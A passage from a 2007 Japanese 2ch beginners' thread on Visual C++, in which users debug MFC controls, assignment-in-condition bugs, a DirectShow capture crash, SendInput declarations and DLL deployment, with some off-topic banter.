573デフォルトの名無しさん:2007/02/27(火) 18:02:36
m_bt1は有効だった?NULLだったりしないか?
574デフォルトの名無しさん:2007/02/27(火) 18:03:29
つか、メンバのほうか
m_bt1.m_hWndは有効な値だった?
575570:2007/02/27(火) 18:32:01
>>574
カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
としてm_bt1のh_Wndを見ると0x00090beeです。
576デフォルトの名無しさん:2007/02/27(火) 18:43:02
んじゃIDがおかしいとかかな。
変数定義もっかいやりなおしてみたら。
何回やってもダメならその手順書いてみな
577デフォルトの名無しさん:2007/02/27(火) 18:44:27
メンバ変数の登録がちゃんとできてない。
もう一度やり直してみるといい。
対象のボタンを右クリックして「メンバ変数の追加」、
んでコントロール変数として適当なのを追加。
578570:2007/02/27(火) 18:52:14
>>576
>>577
了解しました。
もう一度見直してみます。
579デフォルトの名無しさん:2007/02/27(火) 19:50:05
roopoutには確実にFALSEがはいっているのに

if(roopout==FALSE)
break;
else
....

が機能しませんが環境によってそういうことがあるのですか?
デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます
580デフォルトの名無しさん:2007/02/27(火) 19:56:06
FALSEとfalseは違うんじゃなかったっけ
if (!roopout) とか書いた方が安全
581デフォルトの名無しさん:2007/02/27(火) 19:57:12
それかifの後ろのどっかに変なセミコロンが紛れ込んでいて
条件式が真の場合にただの空行を実行してるとか
582デフォルトの名無しさん:2007/02/27(火) 19:57:24
やってみます
583デフォルトの名無しさん:2007/02/27(火) 20:03:07
ifとelseの間がbreakだけなので、ステップ実行で確認したときあたかも素通りしたように
見えるだけなんじゃない?
584デフォルトの名無しさん:2007/02/27(火) 20:06:22
ではなぜelseの処理に
585デフォルトの名無しさん:2007/02/27(火) 20:06:35
2005から始めた初心者はかなりきつい状態だろうな
本もサイトも全然ないもんな……
586デフォルトの名無しさん:2007/02/27(火) 20:21:12
実は
if(roopout=FALSE)
と書いていた。
587デフォルトの名無しさん:2007/02/27(火) 20:23:05
それに気付かなくてえらい苦労をした経験から、
条件文は必ず定数を先に書くことにしてる
if(200 == myIQ) みたいな
588デフォルトの名無しさん:2007/02/27(火) 20:29:16
今時それくらいは警告を出すから、わざわざナンセンスな書き方をする必要など無い。
589デフォルトの名無しさん:2007/02/27(火) 20:39:44
そんな書き方してません
再起動したりしたら動きました
590516:2007/02/27(火) 21:44:56
ありがとうございました。
テキストファイルを見比べてみて同じようにすれば出来ました。

VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして
たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと
関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。
良く分からなかったのですが、とにかく出来ました。
591デフォルトの名無しさん:2007/02/28(水) 01:23:13
>>588
VCだと警告されない罠。
gccでは文句言われるので、そっちに合わせた書き方してるけど。
592デフォルトの名無しさん:2007/02/28(水) 01:51:43
warning C4706: 条件式の比較値は、代入の結果になっています。
593591:2007/02/28(水) 02:46:30
ありゃ、見逃してた。ひゃくにんいっちゅの所為かorz
安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。
594デフォルトの名無しさん:2007/02/28(水) 14:56:39
if(FALSE == flag)
みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?
595デフォルトの名無しさん:2007/02/28(水) 15:09:53
一度精神科を受診することをオススメする。
596デフォルトの名無しさん:2007/02/28(水) 15:43:04
>>594
初めて見た。
597デフォルトの名無しさん:2007/02/28(水) 17:00:54
>>594
オレも。
598594:2007/02/28(水) 17:09:35
>>595
ちょっと受診してくるから良い病院を紹介してくれ
599デフォルトの名無しさん:2007/02/28(水) 23:18:59
600デフォルトの名無しさん:2007/03/01(木) 00:39:08
打ちそこねで=を一つ落とすことはあっても
うっかりしてリテラルと変数を逆に書くなんてことはない。
601デフォルトの名無しさん:2007/03/01(木) 08:11:35
>>600
そりゃいないだろ
わざと逆にやってんだから
602デフォルトの名無しさん:2007/03/01(木) 10:24:23
プログラムを文章として読むと、それが気持ち悪いんだよね。
文章のように読めるプログラムを理想としてるのがわるいのかなあ。
603デフォルトの名無しさん:2007/03/01(木) 11:20:23
>>602
そうそう。たとえば、
if( a == 100 )
だと、頭の中で「a は 100 か」と読める。

でも
if( 100 == a )
だと、「100 は a か」と読んでしまう。
主題が a ではなくなってしまい、思考が後戻りしてしまう感覚が
あってなんかイラッとする。
604デフォルトの名無しさん:2007/03/01(木) 11:27:04
デバッグの停止ボタンを押すとデバッグ中のプログラムは停止しますが
解放処理等はちゃんと行われているのでしょうか?
605デフォルトの名無しさん:2007/03/01(木) 12:04:11
>>604
行なわれるものと行なわれないものがある。
606デフォルトの名無しさん:2007/03/01(木) 12:09:02
C言語で
#include <stdio.h>

int main(void)
{
printf("こんにちは\n");
return 0;
}

って書いたプログラムってそのままC++で実行できる?
それとも
#include <iostream>
using namespace std;

int main()
{
cout << "こんにちは" << endl;
}
って書かなきゃだめ?
607デフォルトの名無しさん:2007/03/01(木) 12:10:41
そのままできるのがC++の強み
608デフォルトの名無しさん:2007/03/01(木) 12:16:52
正しくは#include <cstdio>
609デフォルトの名無しさん:2007/03/01(木) 12:18:10
>>607
そうなんですか〜 ありがとうございます。
はじめたばかりの初心者ですみません。
610デフォルトの名無しさん:2007/03/01(木) 12:21:24
#include <cstdio> ですか。間違えました。
611デフォルトの名無しさん:2007/03/01(木) 12:42:34
<cstdio>を使うならprintfではなく、std::printfと書かなければいけないぞ。
612デフォルトの名無しさん:2007/03/01(木) 13:01:53
C++だからといって、cin,coutに拘る必要は無い。
とか思う俺は年寄りなんだろうな……
613デフォルトの名無しさん:2007/03/01(木) 13:15:26
すみません。もうひとつ。

#include <stdio.h>

int main(void)
{
printf("こんにちは\n");
return 0;
}

マイクロソフトのVisual C++でやってみたところ
画面が一瞬出てからすぐ消えちゃうんですがどうすればいいでしょうか?
614デフォルトの名無しさん:2007/03/01(木) 13:16:41
こんにちは→helloに変更します。
615デフォルトの名無しさん:2007/03/01(木) 13:22:56
>>613
Visual Studioのバージョンによるが「デバッグなしで開始」するか、
コマンドプロンプトを開いてそこから実行する。
616デフォルトの名無しさん:2007/03/01(木) 14:15:45
>>613
何回も何回も出るな、その質問。
>>615でいいけど、デバッグしたいなら
rerturn にブレークポイント置くか、その前に getchar(); でも入れとけば。
617デフォルトの名無しさん:2007/03/01(木) 14:23:07
>>615-616
ありがとうございます。
618デフォルトの名無しさん:2007/03/01(木) 15:07:29
C++をCコンパイラとして使うのはやめた方が良くないか?
それは強みというより、自分の首を自分で絞めているようなもののような気がする。
stdioなんて使わずに、がんばってC++のライブラリを使用すべきなんじゃないか。
論じる次元が違うかもだけど、構造化プログラミングというパラダイムとオブジェクト
指向というパラダイムを同時に使っているような気がして、なんか嫌だ。
C++がますます煙たがれ、衰退するような気がする。
619デフォルトの名無しさん:2007/03/01(木) 16:19:30
>>618
話が飛躍しすぎ
620デフォルトの名無しさん:2007/03/01(木) 16:32:13
>>618
C++はそういう複数のパラダイムを使えることが強みだと
C++の作者Stroustrupも自著D&Eで言っている。
621デフォルトの名無しさん:2007/03/01(木) 16:37:20
質問があります。
afxwin.hをインクルードしているのにも関わらず、CWndを使うと
error C2061: 構文エラー : 識別子 'CWnd'
というのが出ます。
CWndを使用するためにはafxwin.hをインクルードするだけでは足りないのでしょうか?
622デフォルトの名無しさん:2007/03/01(木) 18:44:42
そのエラーの行を、前後数行含めてコピペしてみ
623デフォルトの名無しさん:2007/03/01(木) 19:24:24
>>622
返答ありがとうございます。

この行が先頭に出て、他にエラーは出ません。
624デフォルトの名無しさん:2007/03/01(木) 21:06:01
afxwin.hがあればいい
625デフォルトの名無しさん:2007/03/01(木) 21:14:14
つまりそれ以外の原因を疑えということ
626デフォルトの名無しさん:2007/03/01(木) 22:31:17
俺としてはcinとかcoutってそんなにいいものなのかねって思う。
C言語に変なもの持ち込んでC++を作りやがってとすら思っている。
627デフォルトの名無しさん:2007/03/02(金) 03:05:26
> 俺としてはcinとかcoutってそんなにいいものなのかねって思う
実に便利だと思う。STLと絡めると特に。
628デフォルトの名無しさん:2007/03/02(金) 08:40:14
ユーザ定義型を組込型と同じように入出力できるのはいいと思う。
629デフォルトの名無しさん:2007/03/02(金) 08:46:27
VCじゃなくてC/C++の話になると書き込みが増えるのは
VCの話には参加できなくてROMってる初心者が多いということか
630デフォルトの名無しさん:2007/03/02(金) 08:56:49
俺もストリームだけは便利さがいまだに分からん。
まあテキスト入出力自体あまりしないからかもしれん、
作るのは GUI アプリばっかだからコンソールは使わないし、
、データ保存はもっぱらバイナリだし、
設定ファイルは WritePrivateProfileString だからなあ
631デフォルトの名無しさん:2007/03/02(金) 12:18:27
>>629
C/C++の話の方がdeepな感じがするが
632デフォルトの名無しさん:2007/03/02(金) 13:25:30
VC6使ってる初心者が多いしVCは万年初心者が多いのか?
C/C++のベテランでも挫折するという話だし
633デフォルトの名無しさん:2007/03/02(金) 17:22:29
いつまでたっても初心者だ
634デフォルトの名無しさん:2007/03/03(土) 19:53:59
完全VCオンリーで語ることなんかあるのか?
635デフォルトの名無しさん:2007/03/03(土) 20:27:38
VC固有の動作、CRTの独自拡張、MFCやATLとか
636デフォルトの名無しさん:2007/03/03(土) 21:55:11
VCという道具について語るのが目的か?
VCという道具を使ってWindowsプログラミングをするのが目的だろ
637デフォルトの名無しさん:2007/03/03(土) 22:58:37
API直打ちしている人はC言語のfgetsみたいにファイルから
テキストを一行取得するようなことをしたい場合は
ReadFileとかで適当なバイト数読み出して
行末を見つけて抜き出す、のようにやっているんですか?
638デフォルトの名無しさん:2007/03/03(土) 23:38:21
人によるだろう
639デフォルトの名無しさん:2007/03/04(日) 01:38:18
>>637
そうだよ。SDKだけでやるならね。
640デフォルトの名無しさん:2007/03/04(日) 05:34:28
ちなみに CRT は内部で
>>637 が言ってることをやってるよ。
641デフォルトの名無しさん:2007/03/04(日) 09:13:46
SDKオンリーだろうかCランタイムだろうがVBランタイムだろうが
自前でやるか、呼び出す関数・メソッドが内部でやるか
ただそれだけのことでしかないわな
642デフォルトの名無しさん:2007/03/04(日) 11:49:44
641って馬鹿?意味を全く理解してないw
643デフォルトの名無しさん:2007/03/04(日) 13:59:09
たぶんCでべたに書くのが一番効率がいい。
けど安全性とか汎用性とかもあるから既存のライブラリを使う場合もある。
どれが一番いいのか?といわれたら
自分で何種類か書いて実際試してみるしかないだろうな
自分で試さずに人に聞いたり脳内でやってるやつは使いものにならない。
644デフォルトの名無しさん:2007/03/04(日) 18:20:21
質問です。
プロパティウィンドウからコントロールのフォントや色を変えたいのですが、
それらしい項目が見つかりません。
使っているVCのバージョンは2005なのですが、昔のバージョンは
それっぽいのがあったと思ったのですが・・・
どうやったら変更できますでしょうか?
645デフォルトの名無しさん:2007/03/04(日) 18:30:45
もともとネェヨ
646デフォルトの名無しさん:2007/03/04(日) 18:32:59
いちばん肝心な情報が抜けてるから
647デフォルトの名無しさん:2007/03/04(日) 23:49:02
>>644
それはVBだ
648デフォルトの名無しさん:2007/03/06(火) 08:50:44
VC++ やっと2003から2005に上げられたんですけど
メニューのイベント・ハンドラが変・・・・


2003ではメニューのアイテムから
イベントハンドラの追加を選ぶと、
『追加して編集』と『コードを編集』ってボタンがあって

すでにイベントハンドラがある場合は、
『コードを編集』を押すと、
ソースのその関数に飛んでくれたんだけど

2005では『追加して編集』しかないんです

これって使用なんですか?
『コードを編集』はなくなって、自分で関数を探すしかないんでしょうか?
649デフォルトの名無しさん:2007/03/06(火) 10:19:47
「コードを編集」はある。見えないだけだろう
タブで進めてリターン押してみ
IEのバージョンは?
650デフォルトの名無しさん:2007/03/06(火) 10:23:51
確かにIE7だと見えない。
>>649 の言うように、タブで移動して押すしかないな。
651デフォルトの名無しさん:2007/03/06(火) 12:37:22
>>649
>>650

確かにIE7です

『追加して編集』と『キャンセル』の間が開いてて
タブで移動していって適当なところでリターンしたら『コード編集』できました

とりあえず、ありがとうございます

だけど、コード編集ボタンを直接見たり、押すことはできないんですか?

IEのバージョンを6とかに戻せばいいんでしょうか?
(戻せるのかどうかわかりませんが・・・・)
652デフォルトの名無しさん:2007/03/06(火) 12:45:29
>>644を見て思ったんだけど
unixのmotifなんかだとあらゆるコンポーネントにほとんど同一のメンバを追加することができる。
windowsのgui開発言語もそうなればいいのに。
653デフォルトの名無しさん:2007/03/06(火) 13:42:57
windowsのgui開発といってもVCに限定してもいろいろあるし
654デフォルトの名無しさん:2007/03/06(火) 13:55:30
リソースエディタはリソースを編集するエディタだから、
リソースの仕様に含まれていない以上、できなくて当然とも言えるな。
655デフォルトの名無しさん:2007/03/06(火) 14:16:21
すいません、質問があります。

MS VC++.NET2003なのですが、
画面をキャプチャする方法をどなたかご存知でしょうか。

画面全体でなくてもいいのですが、
(マウスカーソルの部分の1ドットだけでいいんですが)、
キャプチャしてそこからマウスカーソルの部分の色情報を取得したいと考えています。

よろしくお願いします。
656デフォルトの名無しさん:2007/03/06(火) 14:27:16
マウスのイベントかなんかで
指定された座標のピクセルの RGB (赤、緑、青) 値を取得
657デフォルトの名無しさん:2007/03/06(火) 14:38:18
デスクトップのDC取得してGetPixel
658デフォルトの名無しさん:2007/03/06(火) 16:31:25
どうしてもうまくいかんので質問すま。

http://wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html
のソースを参考にDirector用のXtraを作成中なのです。
んで、ソース中の
BITMAPINFO BitmapInfo;
をヘッダに書くとその直後のCopyMemoryの箇所で落ちるのです。
何故?

ちなみに開発環境はWindowsXP+VC6.0です。
659デフォルトの名無しさん:2007/03/06(火) 17:20:03
> 何故?
コードがおかしいから
660デフォルトの名無しさん:2007/03/06(火) 17:30:33
ドコガオカシインダロウ・・・(;´д`)
661658=660:2007/03/06(火) 17:32:11
ID出ないの忘れてた。
662デフォルトの名無しさん:2007/03/06(火) 17:35:36
落ちるコードを見せろ
つーか、Copyで落ちるならサイズ間違ってんだろ
663658:2007/03/06(火) 17:37:40
HRESULT Cam::initialize()
{
HRESULT hr;
IBaseFilter *pSrcFilter=NULL;

CoInitialize(NULL); // COMの初期化
------------------------------(中略)--------------------------------------------------
// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

// ---- キャプチャ開始 ----
pMC -> Run();
//バッファリングを有効にする
pGrab->SetBufferSamples(TRUE);
//ワンショットモードを無効にする
pGrab->SetOneShot(FALSE);

// 画像処理バッファ用メモリ確保
bufferTemp = (BYTE *)malloc(bufsize);

return S_OK;

}
664デフォルトの名無しさん:2007/03/06(火) 17:38:56
(中略)部分は658リンク先のコードのコピペ。
665658:2007/03/06(火) 17:41:24
ヘッダは以下。
#include <windows.h>
#include <dshow.h>
#include <qedit.h> // SampleGrabber用
#include <math.h>
#include <malloc.h>

static const GUID GUID_NULL = { 0x000000, 0x0000, 0x0000, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,}};

#ifndef __ATLBASE_H__
#include <atlbase.h>
#endif

IGraphBuilder * pGraph = NULL;
IMediaControl * pMC = NULL;
ICaptureGraphBuilder2 * pCapture = NULL;
ICreateDevEnum * pDevEnum = NULL;
IEnumMoniker * pClassEnum = NULL;
IBaseFilter *pbf = NULL;
IMoniker * pMoniker = NULL;
ULONG cFetched;
IBaseFilter *pF = NULL;
ISampleGrabber *pGrab = NULL; // これらは後で解放すること

long bufsize = DEFAULT_VIDEO_WIDTH*DEFAULT_VIDEO_HEIGHT*3; //必要なバッファのサイズ
BYTE *bufferTemp = NULL;
AM_MEDIA_TYPE amt;

HWND hwnd;
BITMAPINFO BitmapInfo;
HBITMAP hBitmap;
(以下略)
666デフォルトの名無しさん:2007/03/06(火) 17:43:19
コンピュータ名の取得の仕方を教えてください
667デフォルトの名無しさん:2007/03/06(火) 17:43:24
// ビットマップ情報の取得 
pGrab -> GetConnectedMediaType( &amt ); 
// ビデオ ヘッダーへのポインタを獲得する。 
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat; 


ちゃんと取れてるんだろうな。
エラーチェックぐらいは当然やってるよな?
668デフォルトの名無しさん:2007/03/06(火) 17:43:59
>>666
ぐぐれ
669デフォルトの名無しさん:2007/03/06(火) 17:46:00
>>667
いかんせんデバッグモードみたいなのがないのですよ。orz
これがXtra開発の嫌なところで(ry

>>658のサンプルをコンパイルして実行したら普通に動くのでたぶん取れてるはず。
670655:2007/03/06(火) 17:46:59
>>656-657
まだ確認はとれていないのですが、やってみます。
ご回答ありがとうございます。
671デフォルトの名無しさん:2007/03/06(火) 17:54:40
せめてASSERTくらい入れとけ
672デフォルトの名無しさん:2007/03/06(火) 17:59:29
ちなみに>>663中略以降を

// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

てな感じにすると普通に動くます。
だけどこれじゃBITMAP情報取れないので意味がない。orz
673デフォルトの名無しさん:2007/03/06(火) 18:10:50
>>672
違いがわからんぞ
BITMAPINFO BitmapInfo; の場所だけか?
674デフォルトの名無しさん:2007/03/06(火) 18:16:49
>>673
そうなのです。
675デフォルトの名無しさん:2007/03/06(火) 18:17:22
Xtraって知らないけど663のCopy前で

BITMAPINFO tmp;
if( tmp.bmiHeader.biSize != BitmapInfo.bmiHeader.biSize)
  MessageBox(0,"勘弁してよ",0,0);

ってやったらどうなる?
676デフォルトの名無しさん:2007/03/06(火) 18:20:27
グローバル変数なのかよ。
本来BitmapInfoは可変サイズだからそのまま宣言することは
あまりないんだが、、まあヘッダだけ欲しいならいいのか・・・

まずは、BitmapInfoのアドレスと、sizeof(BitmapInfo)を出してみ
677デフォルトの名無しさん:2007/03/06(火) 18:21:03
あ、だめだ675は忘れて
678デフォルトの名無しさん:2007/03/06(火) 18:21:10
>>675
「勘弁してよ!」って言われた!

・・・つまりどういうこと?(;´д`)
679デフォルトの名無しさん:2007/03/06(火) 18:21:39
>>675
初期化してないbiSizeに意味が?
680デフォルトの名無しさん:2007/03/06(火) 18:25:18
sizeof(BitmapInfo)を出そうとしたら落ちる・・・orz
681デフォルトの名無しさん:2007/03/06(火) 18:26:42
BitmapInfoって名前がよくないw
何かとぶつかってんじゃないのか
682デフォルトの名無しさん:2007/03/06(火) 18:29:52
MessageBox(0,(const char *)&BitmapInfo,0,0);
なんてのを加えたら空ダイアログが出たけどこれ壮大に間違ってますよねorz
683デフォルトの名無しさん:2007/03/06(火) 18:34:05
正直、全体的にツッコミどころ満載。
684デフォルトの名無しさん:2007/03/06(火) 18:35:02
そういうのは、
sprintf(str, "%X", &BitmapInfo);
とかやるもんだ
685658:2007/03/06(火) 18:38:57
>>684
stdioは使えないのですよ。
コンソールとか開きませんし。
686デフォルトの名無しさん:2007/03/06(火) 18:41:41
あ、使えるか。orz
687デフォルトの名無しさん:2007/03/06(火) 18:43:51
アドレス:1000E380
sizeof(BitmapInfo):44
と出ました。
688デフォルトの名無しさん:2007/03/06(火) 18:55:13
で、ZeroMemoryで落ちなくて
CopyMemoryで落ちるのか?

ローカルでBITMAPINFO を作ってそっからコピーしては。
とにかく、オオボケかましてる率98%だからな
689デフォルトの名無しさん:2007/03/06(火) 19:07:42
>>688
大ボケですか・・・orz

class Cam {
BITMAPINFO BInfo;

とか宣言して

// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
BInfo = BitmapInfo;

なんてやっても落ちます。
690デフォルトの名無しさん:2007/03/06(火) 19:14:01
初心者スレだから言うけれど
落ちるにも色々あるんだ。

落ちた時のエラーメッセージを貼り付けるとよいかと
691デフォルトの名無しさん:2007/03/06(火) 19:14:22
BInfo = BitmapInfo;
で落ちるのか?
落ちるというのは、その行で落ちるのか?

BInfo.bmiHeader.bfType とか、各メンバにはアクセスできるのか?
692デフォルトの名無しさん:2007/03/06(火) 19:19:25
>>690
A fatal error has occurred. Director will quit now.
と出た後
Warning! Director is completely out of memory and
must exit immediately.
てなダイアログが出て終了しま。
693デフォルトの名無しさん:2007/03/06(火) 19:20:18
>>691
その行で落ちるので以降アクセスできるかどうかもわかりません。
694デフォルトの名無しさん:2007/03/06(火) 19:25:58
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
char str[100];
sprintf(str, "%X", &BInfo);
MessageBox(0,str,0,0);
printf(str, "%d", BInfo.bmiHeader.biWidth);
MessageBox(0,str,0,0);
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

てな感じだと普通に動きます。
695658:2007/03/06(火) 20:32:33
似たプログラムが手元にあるんですけどそっちは普通に動くんですよね・・・。orz

とりあえず、もうちょい一人であれこれ考えてみます。
696デフォルトの名無しさん:2007/03/07(水) 00:09:09
どっかでスタック壊してそうな
こっちで再現できるだけのコードが無いともうわからん
697デフォルトの名無しさん:2007/03/07(水) 09:12:52
SendInput、INPUT構造体、KEYBDINPUT構造体を使おうとしたのですが
ビルドかけると「定義されてません」とコンパイラに怒られます
windows.hはstdafx.h内でインクルードしてあり、stdafx.hもちゃんとインクルードしてます
_WIN32_WINNTの値も問題なく、#ifディレクティブの条件にも合ってます
特に定義がスキップされる要素は無いのになぜ定義されてないと出るのかサッパリわかりません・・・

何か、原因とか手がかりとかわかる方いらっしゃいませんか
698デフォルトの名無しさん:2007/03/07(水) 10:39:38
NOUSER定義してました、とかなら殴る。
問題無いと言っている_WIN32_WINNTの値は、具体的には何だ?
stdafx.hをupした方が早いかもしれんな。
あと、とりあえずVCのバージョンは書いとけ。
699デフォルトの名無しさん:2007/03/07(水) 10:56:52
_WIN32_WINNTだけではなくWINVERも指定しておけよ。
700デフォルトの名無しさん:2007/03/07(水) 11:28:21
バージョンはVC++7.0です
_WIN32_WINNTは0x0500となってました
(winuser.hのSendInput周辺を囲ってる#ifは_WIN32_WINNT > 0x0400でした)
WINVERの方は覚えてないです・・・
701デフォルトの名無しさん:2007/03/07(水) 17:59:19
質問があります。

VS.NET 2003 VC++ の環境で、
フォームにラベルを配置し、ラベルのMouseMoveイベントに以下のコードを書きました。

  // ボタン押下しっぱなしであれば移動
  if(e->Button == MouseButtons::Left) {
    label_sp->Location.X = e->X;
    label_sp->Location.Y = e->Y;
    label_sp->Invalidate();
  }

私は、このラベルをマウスでドラッグできることを予測して
このコードを書きました。

ところが、ラベルはぴくりとも動いてくれません。
なぜなのでしょうか?
702701:2007/03/07(水) 18:48:08
自己解決しました…。
以下に解決に至ったコードを書きます。

  // ボタン押下していれば移動
  if(e->Button == MouseButtons::Left) {
   int X = Form1::MousePosition.X - Form1::Location.X
   int Y = Form1::MousePosition.Y - Form1::Location.Y
   label_sp->Location = Point(X, Y);
  }

多少ズレはありますがこのようにやってみます。
スレ汚しすみません。
703デフォルトの名無しさん:2007/03/07(水) 18:56:45
localtime関数はマルチスレッドで使う場合
スレッドセーフではないと聞きました
VC++2002ですが解決策を教えてください
704デフォルトの名無しさん:2007/03/07(水) 19:01:54
>>703
マルチスレッドは良くない。
705デフォルトの名無しさん:2007/03/07(水) 19:02:36
マルチかよ
706デフォルトの名無しさん:2007/03/07(水) 19:03:16
>>702
label_sp->Location = Point(X, Y); // ここ重要
Location.Xは、返された一時オブジェクトに対しての操作なので、
ラベルには反映されなかった。
707702:2007/03/07(水) 19:27:56
>>706
あ、いえ、あれで実際動いてますよ?
ラベルのドラックができてます。
まだ、マウスカーソルのサイズ分のズレがありますが、それは調整中です。

回答ありがとうございます。
708デフォルトの名無しさん:2007/03/07(水) 19:31:11
>>703
スレッドセーフでないものをスレッドセーフにするには、
ラップすれば良いと何かの本で…
私ごときでは具体例は出せませんが
709デフォルトの名無しさん:2007/03/07(水) 19:52:02
>>703
VC++2002がどんな設定だったか覚えていないが
設定でマルチスレッド対応のランタイムライブラリを選べばOK。
(推測)

それとスレッドの作成に
Win32APIのCreateThreadではなく
C言語用かMFC用のを使えばいいんじゃない。
710706:2007/03/07(水) 20:04:20
>>707
>>701が動かない理由な。判りにくくてすまそ。
711デフォルトの名無しさん:2007/03/07(水) 20:07:53
>>703
マルチってほんとに便利ですね。いらないスレッドはポイですよ。

【初心者歓迎】C/C++室 Ver.35【環境依存OK】
http://pc11.2ch.net/test/read.cgi/tech/1171888583/331
712デフォルトの名無しさん:2007/03/08(木) 10:59:55
質問に合うスレッドに書き換えただけですがなにか?
713デフォルトの名無しさん:2007/03/08(木) 11:17:00
そもそも、何でスレッドセーフではないのか?
を考えたことあるか?
714デフォルトの名無しさん:2007/03/08(木) 11:58:24
内部の静的な領域を使い回しするからですよね
715デフォルトの名無しさん:2007/03/08(木) 13:16:21
「〜ですけど、何か?」ってすっかり一般的になってるなw

もともとこの言い回し、WhiteAlbumってゲームに出てきたジャーマネの口癖を
パクッたやつだって知ってるヤツはあまりいまい…
716デフォルトの名無しさん:2007/03/08(木) 13:35:25
数年前にはやった
717デフォルトの名無しさん:2007/03/08(木) 14:00:28
6年来の葉鍵板住人だけど初耳だった
718デフォルトの名無しさん:2007/03/08(木) 18:04:21
>>717
だったら「〜ですが何か?PART.XX」ってスレ、何度も目撃してるはずだが…
たしか名前は弥生さんだった
スレ違いスマソ
719デフォルトの名無しさん:2007/03/08(木) 19:49:01
C++で委譲しまくってたら処理を振り分ける部分が恐ろしく複雑で忙しそうになってしまった
最初のうちは入門書に載ってるみたいに色んな機能を併せ持った奴作っていくようにした方がいいんでしょうか?
720デフォルトの名無しさん:2007/03/08(木) 22:56:09
教えてください。
VC .NET 2003 でMFCを使ってプログラムを使うと、他の2003、2000の
環境で「MFC70.DLLがない」というエラーで実行できませんでした。

DLLを入れれば動くのは分かりますが、VCのコンパイルオプションなどで
通常の2000などの環境でも動くように出来ないのでしょうか?
「プロパティ-全般-MFCの使用」でスタティックにすれば実行できましたが、
スタティックにしたために実行ファイルのサイズが大きくなり格好が悪いです。

もっとスマートな方法はないでしょうか?
721720:2007/03/08(木) 22:56:50
> VC .NET 2003 でMFCを使ってプログラムを使うと
VC .NET 2003 でMFCを使ってプログラムを作ると


の間違いでした。
722デフォルトの名無しさん:2007/03/08(木) 23:16:42
寝言?
723デフォルトの名無しさん:2007/03/08(木) 23:56:13
実行ファイルが数MBあったところで、ガタガタ抜かす奴は今時いないから気にするな。
724デフォルトの名無しさん:2007/03/09(金) 00:00:24
>>720
EXEにMFC70.DLLを同梱
スタティックリンク
MFCを使わない

さあどれでも好きなものを選べ。
725デフォルトの名無しさん:2007/03/09(金) 00:04:10
ネットで配布されてるフリーのライブラリを複数併用してると
実行ファイルが凄いことになるよな
併用できるように(試行錯誤で)改造することは出来ても不要なコンポーネントを削ることまでは出来ないから
結局10MbytesのExeとかになっちゃう
そんなのでも一から自分で組むよりはパフォーマンスが良いって言うのが悲しいというか情けないところなんだけど・・・orz
726720:2007/03/09(金) 00:04:15
.NETでMFCを使う以上、仕方がないということですね。
ありがとうございました。
727デフォルトの名無しさん:2007/03/09(金) 00:19:34
>>725
ならんよ。デバッグのままなんじゃないのか
728デフォルトの名無しさん:2007/03/09(金) 14:54:28
10Mのexeはすごいなぁw
どんだけ超大作なんだろうか
729デフォルトの名無しさん:2007/03/09(金) 15:35:37
10MBの実行コードってソースコードにしてどのぐらいだろうね
きっと、いろんな人のコードがいっぱい詰まってるんだね
730デフォルトの名無しさん:2007/03/09(金) 19:57:12
Perlのコードがそのまリテラルとして入ってるんだろ。
731デフォルトの名無しさん:2007/03/10(土) 12:51:17
要らん.lib削ったら5分の1になりますた
ライブラリの機能実験のため一杯詰め込んでたの忘れてましたすいません><
732デフォルトの名無しさん:2007/03/10(土) 13:24:53
質問です。

複数のコントロールをcreateで作成するときに、
リソースIDを割り当てることに困っているのですが、
割り当てようとしているID値が他で使われていないか、
または使われていないID値を返すような関数はありますでしょうか?

よろしくお願いします。
733デフォルトの名無しさん:2007/03/10(土) 17:29:04
自分で管理してないと使いものにならないと思うんだが気のせいか?
使う予定がないんだったら全部staticにしとけばいいし
734デフォルトの名無しさん:2007/03/10(土) 19:25:05
>>732
VC2005ならリソースを選択した状態で編集メニューのリソースシンボル。
新規作成で追加し、そのIDを使うようにすれば管理は多少楽かも。
でも使い勝手は良くないな...
735658:2007/03/10(土) 20:10:15
http://pc11.2ch.net/test/read.cgi/tech/1162913156/268-280
というやりとりを経て戻ってきました。
&BitmapInfo.bmiHeaderの値がおかしい気がするんですが・・・。
736デフォルトの名無しさん:2007/03/10(土) 20:30:23
1. もう一度最初から組みなおす
2. デバッガを上手く使う
3. 諦める

少なからず、デバッガについて機能を調べ上手に利用して
原因を特定していくとかいう根性がないようであれば、
